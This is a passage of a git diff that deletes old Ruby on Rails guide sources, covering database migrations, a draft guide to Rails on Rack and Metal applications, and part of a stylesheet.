-Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting `config.active_record.timestamped_migrations` to `false` in `environment.rb`.
-
-The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.
-
-For example Alice adds migrations `20080906120000` and `20080906123000` and Bob adds `20080906124500` and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so `rake db:migrate` would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their down methods.
-
-Of course this is no substitution for communication within the team, for example if Alice's migration removed a table that Bob's migration assumed the existence of then trouble will still occur.
-
-=== Changing migrations ===
-
-Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run `rake db:migrate`. You must rollback the migration (for example with `rake db:rollback`), edit your migration and then run `rake db:migrate` to run the corrected version.
-
-In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.
-
diff --git a/railties/doc/guides/source/migrations/changelog.txt b/railties/doc/guides/source/migrations/changelog.txt
deleted file mode 100644
index 38e772ce37..0000000000
--- a/railties/doc/guides/source/migrations/changelog.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6[Lighthouse ticket]
-
-* September 14, 2008: initial version by link:../authors.html#fcheung[Frederick Cheung] \ No newline at end of file
diff --git a/railties/doc/guides/source/migrations/creating_a_migration.txt b/railties/doc/guides/source/migrations/creating_a_migration.txt
deleted file mode 100644
index 892c73a533..0000000000
--- a/railties/doc/guides/source/migrations/creating_a_migration.txt
+++ /dev/null
@@ -1,109 +0,0 @@
-== Creating A Migration ==
-
-=== Creating a model ===
-
-The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running
-
-`ruby script/generate model Product name:string description:text` will create a migration that looks like this
-
-[source, ruby]
------------------------
-class CreateProducts < ActiveRecord::Migration
- def self.up
- create_table :products do |t|
- t.string :name
- t.text :description
-
- t.timestamps
- end
- end
-
- def self.down
- drop_table :products
- end
-end
------------------------
-
-You can append as many column name/type pairs as you want. By default `t.timestamps` (which creates the `updated_at` and `created_at` columns that
-are automatically populated by Active Record) will be added for you.
-
-=== Creating a standalone migration ===
-If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:
-
-`ruby script/generate migration AddPartNumberToProducts`
-
-This will create an empty but appropriately named migration:
-
-[source, ruby]
------------------------
-class AddPartNumberToProducts < ActiveRecord::Migration
- def self.up
- end
-
- def self.down
- end
-end
------------------------
-
-If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing
-the appropriate add and remove column statements will be created.
-
-`ruby script/generate migration AddPartNumberToProducts part_number:string`
-
-will generate
-
-[source, ruby]
------------------------
-class AddPartNumberToProducts < ActiveRecord::Migration
- def self.up
- add_column :products, :part_number, :string
- end
-
- def self.down
- remove_column :products, :part_number
- end
-end
------------------------
-
-Similarly,
-
-`ruby script/generate migration RemovePartNumberFromProducts part_number:string`
-
-generates
-
-[source, ruby]
------------------------
-class RemovePartNumberFromProducts < ActiveRecord::Migration
- def self.up
- remove_column :products, :part_number
- end
-
- def self.down
- add_column :products, :part_number, :string
- end
-end
------------------------
-
-You are not limited to one magically generated column, for example
-
-`ruby script/generate migration AddDetailsToProducts part_number:string price:decimal`
-
-generates
-
-[source, ruby]
------------------------
-class AddDetailsToProducts < ActiveRecord::Migration
- def self.up
- add_column :products, :part_number, :string
- add_column :products, :price, :decimal
- end
-
- def self.down
- remove_column :products, :price
- remove_column :products, :part_number
- end
-end
------------------------
-
-As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.
-
diff --git a/railties/doc/guides/source/migrations/foreign_keys.txt b/railties/doc/guides/source/migrations/foreign_keys.txt
deleted file mode 100644
index 792c41ccdc..0000000000
--- a/railties/doc/guides/source/migrations/foreign_keys.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-[[foreign_key]]
-== Active Record and Referential Integrity ==
-The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.
-
-Validations such as `validates_uniqueness_of` are one way in which models can enforce data integrity. The `:dependent` option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
-
-Although Active Record does not provide any tools for working directly with such features, the `execute` method can be used to execute arbitrary SQL. There are also a number of plugins such as http://agilewebdevelopment.com/plugins/search?search=redhillonrails[redhillonrails] which add foreign key support to Active Record (including support for dumping foreign keys in `schema.rb`).
-
diff --git a/railties/doc/guides/source/migrations/index.txt b/railties/doc/guides/source/migrations/index.txt
deleted file mode 100644
index 1670b73178..0000000000
--- a/railties/doc/guides/source/migrations/index.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-Migrations
-==========
-
-Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run `rake db:migrate`. Active Record will work out which migrations should be run. It will also update your db/schema.rb file to match the structure of your database.
-
-Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.
-
-You'll learn all about migrations including:
-
-* The generators you can use to create them
-* The methods Active Record provides to manipulate your database
-* The Rake tasks that manipulate them
-* How they relate to `schema.rb`
-
-include::anatomy_of_a_migration.txt[]
-include::creating_a_migration.txt[]
-include::writing_a_migration.txt[]
-include::rakeing_around.txt[]
-include::using_models_in_migrations.txt[]
-include::scheming.txt[]
-include::foreign_keys.txt[]
-include::changelog.txt[]
diff --git a/railties/doc/guides/source/migrations/rakeing_around.txt b/railties/doc/guides/source/migrations/rakeing_around.txt
deleted file mode 100644
index b01451d54d..0000000000
--- a/railties/doc/guides/source/migrations/rakeing_around.txt
+++ /dev/null
@@ -1,113 +0,0 @@
-== Running Migrations ==
-
-Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be `db:migrate`. In its most basic form it just runs the `up` method for all the migrations that have not yet been run. If there are no such migrations it exits.
-
-Note that running the `db:migrate` also invokes the `db:schema:dump` task, which will update your db/schema.rb file to match the structure of your database.
-
-If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
-version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run
-
-------------------------------------
-rake db:migrate VERSION=20080906120000
-------------------------------------
-
-If this is greater than the current version (i.e. it is migrating upwards) this will run the `up` method on all migrations up to and including 20080906120000, if migrating downwards this will run the `down` method on all the migrations down to, but not including, 20080906120000.
-
-=== Rolling back ===
-
-A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run
-
-------------------
-rake db:rollback
-------------------
-
-This will run the `down` method from the latest migration. If you need to undo several migrations you can provide a `STEP` parameter:
-
-------------------
-rake db:rollback STEP=3
-------------------
-
-will run the `down` method from the last 3 migrations.
-
-The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating back up again. As with the `db:rollback` task you can use the `STEP` parameter if you need to go more than one version back, for example
-
-------------------
-rake db:migrate:redo STEP=3
-------------------
-
-Neither of these Rake tasks do anything you could not do with `db:migrate`, they are simply more convenient since you do not need to explicitly specify the version to migrate to.
-
-Lastly, the `db:reset` task will drop the database, recreate it and load the current schema into it.
-
-NOTE: This is not the same as running all the migrations - see the section on <<schema,schema.rb>>.
-
-=== Being Specific ===
-
-If you need to run a specific migration up or down the `db:migrate:up` and `db:migrate:down` tasks will do that. Just specify the appropriate version and the corresponding migration will have its `up` or `down` method invoked, for example
-
-------------------
-rake db:migrate:up VERSION=20080906120000
-------------------
-
-will run the `up` method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example `db:migrate:up VERSION=20080906120000` will do nothing if Active Record believes that 20080906120000 has already been run.
-
-
-=== Being talkative ===
-
-By default migrations tell you exactly what they're doing and how long it took.
-A migration creating a table and adding an index might produce output like this
--------------------------
-== 20080906170109 CreateProducts: migrating ===================================
--- create_table(:products)
- -> 0.0021s
--- add_index(:products, :name)
- -> 0.0026s
-== 20080906170109 CreateProducts: migrated (0.0059s) ==========================
--------------------------
-Several methods are provided that allow you to control all this:
-
-* `suppress_messages` suppresses any output generated by its block
-* `say` outputs text (the second argument controls whether it is indented or not)
-* `say_with_time` outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
-
-For example, this migration
-
-[source, ruby]
-----------------------
-class CreateProducts < ActiveRecord::Migration
- def self.up
- suppress_messages do
- create_table :products do |t|
- t.string :name
- t.text :description
- t.timestamps
- end
- end
- say "Created a table"
- suppress_messages {add_index :products, :name}
- say "and an index!", true
- say_with_time 'Waiting for a while' do
- sleep 10
- 250
- end
- end
-
- def self.down
- drop_table :products
- end
-end
-----------------------
-
-generates the following output
-----------------------
-== 20080906170109 CreateProducts: migrating ===================================
--- Created a table
- -> and an index!
--- Waiting for a while
- -> 10.0001s
- -> 250 rows
-== 20080906170109 CreateProducts: migrated (10.0097s) =========================
-----------------------
-
-If you just want Active Record to shut up then running `rake db:migrate VERBOSE=false` will suppress any output.
-
diff --git a/railties/doc/guides/source/migrations/scheming.txt b/railties/doc/guides/source/migrations/scheming.txt
deleted file mode 100644
index 7acd3f9190..0000000000
--- a/railties/doc/guides/source/migrations/scheming.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-== Schema dumping and you ==
-[[schema]]
-=== What are schema files for? ===
-Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either `schema.rb` or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.
-
-There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.
-
-For example, this is how the test database is created: the current development database is dumped (either to `schema.rb` or `development.sql`) and then loaded into the test database.
-
-Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The http://agilewebdevelopment.com/plugins/annotate_models[annotate_models] plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.
-
-=== Types of schema dumps ===
-There are two ways to dump the schema. This is set in `config/environment.rb` by the `config.active_record.schema_format` setting, which may be either `:sql` or `:ruby`.
-
-If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look at this file you'll find that it looks an awful lot like one very big migration:
-
-[source, ruby]
---------------------------------------
-ActiveRecord::Schema.define(:version => 20080906171750) do
- create_table "authors", :force => true do |t|
- t.string "name"
- t.datetime "created_at"
- t.datetime "updated_at"
- end
-
- create_table "products", :force => true do |t|
- t.string "name"
- t.text "description"
- t.datetime "created_at"
- t.datetime "updated_at"
- t.string "part_number"
- end
-end
---------------------------------------
-
-In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using `create_table`, `add_index` and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.
-
-There is however a trade-off: `schema.rb` cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to `:sql`.
-
-Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the `db:structure:dump` Rake task) into `db/#\{RAILS_ENV\}_structure.sql`. For example for PostgreSQL the `pg_dump` utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.
-
-By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.
-
-=== Schema dumps and source control ===
-
-Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.
-
diff --git a/railties/doc/guides/source/migrations/using_models_in_migrations.txt b/railties/doc/guides/source/migrations/using_models_in_migrations.txt
deleted file mode 100644
index 35a4c6fdfd..0000000000
--- a/railties/doc/guides/source/migrations/using_models_in_migrations.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-[[models]]
-== Using Models In Your Migrations ==
-When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.
-
-Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with `rake db:migrate`, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.
-
-Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:
-
-[source, ruby]
--------------------------
-class AddPartNumberToProducts < ActiveRecord::Migration
- class Product < ActiveRecord::Base
- end
-
- def self.up
- ...
- end
-
- def self.down
- ...
- end
-end
--------------------------
-The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.
-
-=== Dealing with changing models ===
-
-For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the `reset_column_information` method, for example
-
-[source, ruby]
--------------------------
-class AddPartNumberToProducts < ActiveRecord::Migration
- class Product < ActiveRecord::Base
- end
-
- def self.up
- add_column :product, :part_number, :string
- Product.reset_column_information
- ...
- end
-
- def self.down
- ...
- end
-end
--------------------------
diff --git a/railties/doc/guides/source/migrations/writing_a_migration.txt b/railties/doc/guides/source/migrations/writing_a_migration.txt
deleted file mode 100644
index 2a2b6217d8..0000000000
--- a/railties/doc/guides/source/migrations/writing_a_migration.txt
+++ /dev/null
@@ -1,159 +0,0 @@
-== Writing a Migration ==
-
-Once you have created your migration using one of the generators it's time to get to work!
-
-=== Creating a table ===
-
-`create_table` will be one of your workhorses. A typical use would be
-
-[source, ruby]
----------------------
-create_table :products do |t|
- t.string :name
-end
----------------------
-which creates a `products` table with a column called `name` (and as discussed below, an implicit `id` column).
-
-The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like
-
-[source, ruby]
----------------------
-create_table :products do |t|
- t.column :name, :string, :null => false
-end
----------------------
-
-the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the `string`, `integer` etc. methods create a column of that type. Subsequent parameters are identical.
-
-[source, ruby]
----------------------
-create_table :products do |t|
- t.string :name, :null => false
-end
----------------------
-
-By default `create_table` will create a primary key called `id`. You can change the name of the primary key with the `:primary_key` option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass `:id => false`. If you need to pass database specific options you can place an sql fragment in the `:options` option. For example
-
-[source, ruby]
----------------------
-create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
- t.string :name, :null => false
-end
----------------------
-Will append `ENGINE=BLACKHOLE` to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").
-
-The types Active Record supports are `:primary_key`, `:string`, `:text`, `:integer`, `:float`, `:decimal`, `:datetime`, `:timestamp`, `:time`, `:date`, `:binary`, `:boolean`.
-
-These will be mapped onto an appropriate underlying database type, for example with MySQL `:string` is mapped to `VARCHAR(255)`. You can create columns of
-types not supported by Active Record when using the non sexy syntax, for example
-
-[source, ruby]
----------------------
-create_table :products do |t|
- t.column :name, 'polygon', :null => false
-end
----------------------
-This may however hinder portability to other databases.
-
-=== Changing tables ===
-
-`create_table`'s close cousin is `change_table`. Used for changing existing tables, it is used in a similar fashion to `create_table` but the object yielded to the block knows more tricks. For example
-
-[source, ruby]
----------------------
-change_table :products do |t|
- t.remove :description, :name
- t.string :part_number
- t.index :part_number
- t.rename :upccode, :upc_code
-end
----------------------
-removes the `description` column, creates a `part_number` column and adds an index on it. Finally it renames the `upccode` column. This is the same as doing
-
-[source, ruby]
----------------------
-remove_column :products, :description
-remove_column :products, :name
-add_column :products, :part_number, :string
-add_index :products, :part_number
-rename_column :products, :upccode, :upc_code
----------------------
-
-You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example `remove_column` becomes just `remove` and `add_index` becomes just `index`.
-
-=== Special helpers ===
-
-Active Record provides some shortcuts for common functionality. It is for example very common to add both the `created_at` and `updated_at` columns and so there is a method that does exactly that:
-
-[source, ruby]
----------------------
-create_table :products do |t|
- t.timestamps
-end
----------------------
-will create a new products table with those two columns whereas
-
-[source, ruby]
----------------------
-change_table :products do |t|
- t.timestamps
-end
----------------------
-adds those columns to an existing table.
-
-The other helper is called `references` (also available as `belongs_to`). In its simplest form it just adds some readability
-
-[source, ruby]
----------------------
-create_table :products do |t|
- t.references :category
-end
----------------------
-
-will create a `category_id` column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the `_id` for you. If you have polymorphic belongs_to associations then `references` will add both of the columns required:
-
-[source, ruby]
----------------------
-create_table :products do |t|
- t.references :attachment, :polymorphic => {:default => 'Photo'}
-end
----------------------
-will add an `attachment_id` column and a string `attachment_type` column with a default value of 'Photo'.
-
-NOTE: The `references` helper does not actually create foreign key constraints for you. You will need to use `execute` for that or a plugin that adds <<foreign_key,foreign key support>>.
-
-If the helpers provided by Active Record aren't enough you can use the `execute` function to execute arbitrary SQL.
-
-For more details and examples of individual methods check the API documentation, in particular the documentation for http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html[ActiveRecord::ConnectionAdapters::SchemaStatements] (which provides the methods available in the `up` and `down` methods), http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html[ActiveRecord::ConnectionAdapters::TableDefinition] (which provides the methods available on the object yielded by `create_table`) and http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/Table.html[ActiveRecord::ConnectionAdapters::Table] (which provides the methods available on the object yielded by `change_table`).
-
-=== Writing your down method ===
-
-The `down` method of your migration should revert the transformations done by the `up` method. In other words the database should be unchanged if you do an `up` followed by a `down`. For example if you create a table in the up you should drop it in the `down` method. It is wise to do things in precisely the reverse order to in the `up` method. For example
-
-[source, ruby]
----------------------
-class ExampleMigration < ActiveRecord::Migration
-
- def self.up
- create_table :products do |t|
- t.references :category
- end
- #add a foreign key
- execute "ALTER TABLE products ADD CONSTRAINT fk_products_categories FOREIGN KEY (category_id) REFERENCES categories(id)"
-
- add_column :users, :home_page_url, :string
-
- rename_column :users, :email, :email_address
- end
-
- def self.down
- rename_column :users, :email_address, :email
- remove_column :users, :home_page_url
- execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories"
- drop_table :products
- end
-end
----------------------
-Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise IrreversibleMigration from your `down` method. If someone tries to revert your migration an error message will be
-displayed saying that it can't be done.
-
diff --git a/railties/doc/guides/source/rails_on_rack.txt b/railties/doc/guides/source/rails_on_rack.txt
deleted file mode 100644
index 6526117c8f..0000000000
--- a/railties/doc/guides/source/rails_on_rack.txt
+++ /dev/null
@@ -1,256 +0,0 @@
-Rails on Rack
-=============
-
-This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:
-
- * Create Rails Metal applications
- * Use Rack Middlewares in your Rails applications
- * Understand Action Pack's internal Middleware stack
- * Define custom internal Middleware stack
- * Understand the best practices for developing a middleware aimed at Rails applications
-
-NOTE: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and Rack::Builder.
-
-== Introduction to Rack ==
-
-****
-Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
-
-- http://rack.rubyforge.org/doc[Rack API Documentation]
-****
-
-Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the following links:
-
-* http://rack.github.com[Official Rack Website]
-* http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html[Introducing Rack]
-* http://m.onkey.org/2008/11/17/ruby-on-rack-1[Ruby on Rack #1 - Hello Rack!]
-* http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder[Ruby on Rack #2 - The Builder]
-
-== Rails on Rack ==
-
-=== ActionController::Dispatcher.new ===
-
-+ActionController::Dispatcher.new+ is the primary Rack application object of a Rails application. It responds to +call+ method with a single +env+ argument and returns a Rack response. Any Rack compliant web server should be using +ActionController::Dispatcher.new+ object to serve a Rails application.
-
-=== script/server ===
-
-+script/server+ does the basic job of creating a +Rack::Builder+ object and starting the webserver. This is Rails equivalent of Rack's +rackup+ script.
-
-Here's how +script/server+ creates an instance of +Rack::Builder+
-
-[source, ruby]
-----------------------------------------------------------------------------
-app = Rack::Builder.new {
- use Rails::Rack::LogTailer unless options[:detach]
- use Rails::Rack::Static
- use Rails::Rack::Debugger if options[:debugger]
- run ActionController::Dispatcher.new
-}.to_app
-----------------------------------------------------------------------------
-
-Middlewares used in the code above are most useful in development envrionment. The following table explains their usage:
-
-[options="header"]
-|==========================================================================================================
-|Middleware |Purpose
-|Rails::Rack::LogTailer | Appends log file output to console
-|Rails::Rack::Static | Serves static files inside +RAILS_ROOT/public+ directory
-|Rails::Rack::Debugger | Starts Debugger
-|==========================================================================================================
-
-=== rackup ===
-
-To use +rackup+ instead of Rails' +script/server+, you can put the following inside +config.ru+ of your Rails application's root directory:
-
-[source, ruby]
-----------------------------------------------------------------------------
-# RAILS_ROOT/config.ru
-require "config/environment"
-
-use Rails::Rack::LogTailer
-use Rails::Rack::Static
-run ActionController::Dispatcher.new
-----------------------------------------------------------------------------
-
-And start the server:
-
-[source, shell]
-----------------------------------------------------------------------------
-[lifo@null application]$ rackup
-----------------------------------------------------------------------------
-
-To find out more about different +rackup+ options:
-
-[source, shell]
-----------------------------------------------------------------------------
-[lifo@null application]$ rackup --help
-----------------------------------------------------------------------------
-
-== Action Controller Middleware Stack ==
-
-Many of Action Controller's internal components are implemented as Rack middlewares. +ActionController::Dispatcher+ uses +ActionController::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application.
-
-.What is ActionController::MiddlewareStack ?
-NOTE: +ActionController::MiddlewareStack+ is Rails equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements.
-
-=== Inspecting Middleware Stack ===
-
-Rails has a handy rake task for inspecting the middleware stack in use:
-
-[source, shell]
-----------------------------------------------------------------------------
-$ rake middleware
-----------------------------------------------------------------------------
-
-For a freshly generated Rails application, this will produce:
-
-[source, ruby]
-----------------------------------------------------------------------------
-use ActionController::Lock
-use ActionController::Failsafe
-use ActiveRecord::QueryCache
-use ActionController::Session::CookieStore, {:secret=>"<secret>", :session_key=>"_<app>_session"}
-use Rails::Rack::Metal
-use ActionController::VerbPiggybacking
-run ActionController::Dispatcher.new
-----------------------------------------------------------------------------
-
-=== Adding Middlewares ===
-
-Rails provides a very simple configuration interface for adding generic Rack middlewares to a Rails applications.
-
-Here's how you can add middlewares via +environment.rb+
-
-[source, ruby]
-----------------------------------------------------------------------------
-# environment.rb
-
-config.middleware.use Rack::BounceFavicon
-----------------------------------------------------------------------------
-
-=== Internal Middleware Stack ===
-
-[source, ruby]
-----------------------------------------------------------------------------
-use "ActionController::Lock", :if => lambda {
- !ActionController::Base.allow_concurrency
-}
-
-use "ActionController::Failsafe"
-
-use "ActiveRecord::QueryCache", :if => lambda { defined?(ActiveRecord) }
-
-["ActionController::Session::CookieStore",
- "ActionController::Session::MemCacheStore",
- "ActiveRecord::SessionStore"].each do |store|
- use(store, ActionController::Base.session_options,
- :if => lambda {
- if session_store = ActionController::Base.session_store
- session_store.name == store
- end
- }
- )
-end
-
-use ActionController::VerbPiggybacking
-----------------------------------------------------------------------------
-
-[options="header"]
-|==========================================================================================================
-|Middleware |Purpose
-|ActionController::Lock | Sets +env["rack.multithread"]+ flag to +true+ and wraps the application within a Mutex.
-|ActionController::Failsafe | Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.
-|ActiveRecord::QueryCache | Enable the Active Record query cache.
-|ActionController::Session::CookieStore | Uses the cookie based session store.
-|ActionController::Session::MemCacheStore | Uses the memcached based session store.
-|ActiveRecord::SessionStore | Uses the database based session store.
-|ActionController::VerbPiggybacking | Sets HTTP method based on +_method+ parameter or +env["HTTP_X_HTTP_METHOD_OVERRIDE"]+.
-|==========================================================================================================
-
-=== Customizing Internal Middleware Stack ===
-
-VERIFY THIS WORKS. Just a code dump at the moment.
-
-Put the following in an initializer.
-[source, ruby]
-----------------------------------------------------------------------------
-ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m|
- m.use ActionController::Lock
- m.use ActionController::Failsafe
- m.use ActiveRecord::QueryCache
- m.use ActionController::Session::CookieStore
- m.use ActionController::VerbPiggybacking
-end
-----------------------------------------------------------------------------
-
-Josh says :
-
-****
-3.3: I wouldn't recommend this: custom internal stack
-i'd recommend using config.middleware.use api
-we still need a better api for swapping out existing middleware, etc
-config.middleware.swap AC::Sessions, My::Sessoins
-or something like that
-****
-
-== Rails Metal Applications ==
-
-Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue.
-
-=== Generating a Metal Application ===
-
-Rails provides a generator called +performance_test+ for creating new performance tests:
-
-[source, shell]
-----------------------------------------------------------------------------
-script/generate metal poller
-----------------------------------------------------------------------------
-
-This generates +poller.rb+ in the +app/metal+ directory:
-
-[source, ruby]
-----------------------------------------------------------------------------
-# Allow the metal piece to run in isolation
-require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails)
-
-class Poller
- def self.call(env)
- if env["PATH_INFO"] =~ /^\/poller/
- [200, {"Content-Type" => "text/html"}, ["Hello, World!"]]
- else
- [404, {"Content-Type" => "text/html"}, ["Not Found"]]
- end
- end
-end
-----------------------------------------------------------------------------
-
-Metal applications are an optimization. You should make sure to http://weblog.rubyonrails.org/2008/12/20/performance-of-rails-metal[understand the related performance implications] before using it.
-
-=== Execution Order ===
-
-All Metal Applications are executed by +Rails::Rack::Metal+ middleware, which is a part of the +ActionController::MiddlewareStack+ chain.
-
-Here's the primary method responsible for running the Metal applications:
-
-[source, ruby]
-----------------------------------------------------------------------------
-def call(env)
- @metals.keys.each do |app|
- result = app.call(env)
- return result unless result[0].to_i == 404
- end
- @app.call(env)
-end
-----------------------------------------------------------------------------
-
-In the code above, +@metals+ is an ordered ( alphabetical ) hash of metal applications. Due to the alphabetical ordering, +aaa.rb+ will come before +bbb.rb+ in the metal chain.
-
-IMPORTANT: Metal applications cannot return the HTTP Status +404+ to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning +404+ is a requirement.
-
-== Middlewares and Rails ==
-
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket]
-
-* January 11, 2009: First version by link:../authors.html#lifo[Pratik] \ No newline at end of file
diff --git a/railties/doc/guides/source/stylesheets/base.css b/railties/doc/guides/source/stylesheets/base.css
deleted file mode 100644
index 2bf0b93c40..0000000000
--- a/railties/doc/guides/source/stylesheets/base.css
+++ /dev/null
@@ -1,362 +0,0 @@
-/* ----------------------------------------------------------------------------
-
- Ruby on Rails, hijacked for Hieraki
- Stylesheet for http://rubyonrails.org
-
- 1. General HTML elements
- 2. General classes
- 3. General structure
- 1. header
- 2. Content
- 3. Sidebar
- 4. Sitewide elements
- 1. Introduction boxes
- 2. Navigation
- 5. Elements for specific areas
- 1. Weblog
-
----------------------------------------------------------------------------- */
-
-* {
- margin: 0;
- padding: 0;
-}
-
-body {
- color: #333333;
-
- background-color: #FFFFFF;
- background-image: url(../images/header_backdrop.png);
- background-repeat: repeat-x;
- background-position: 0 -25px;
-
- font-size: 80%;
- font-family: verdana, helvetica, arial, sans-serif;
- line-height: 1.7em;
-
- /* Center in IE5.5 */
- text-align: center;
-}
-
-h1 {
- font-size: 2em;
- font-weight: normal;
- letter-spacing: -0.04em;
-}
-
-h2 {
- font-size: 1.5em;
- font-weight: normal;
- letter-spacing: -0.04em;
-}
-
-h1,h2,h3,h4,h5,h6 {
- margin-top: 1em;
- margin-bottom: 0.5em;
-}
-.pageheader a:link, .pageheader a:visited{
- color: #333;
- text-decoration: none;
-}
-
-img {
- border: none;
-}
-
-p {
- margin-bottom: 1em;
-}
-
-a:link {
- color: #BB2233;
-}
-
-a:visited {
- color: #991122;
-}
-
-a:hover {
- color: #CC2233;
- background-color: #EEEEEE;
-}
-
-a:active {
-}
-
-ul {
- margin-top: 1em;
- list-style-type: none;
-}
-
-ul li {
- margin-left: 0.5em;
- padding-left: 1em;
-
- background-image: url(../images/bullet.gif);
- background-repeat: no-repeat;
- background-position: 0 0.55em;
-}
-
-ul li p {
- margin-bottom: 0.5em;
-}
-
-/* ----------------------------------------------------------------------------
- Structure
----------------------------------------------------------------------------- */
-
-div#container {
- width: 90%;
- max-width: 790px;
-
- margin-top: 10px;
- margin-left: auto;
- margin-right: auto;
-
- font-size: 1em;
-
- /* Don't center text, only div#container */
- text-align: left;
-}
-
-div#header {
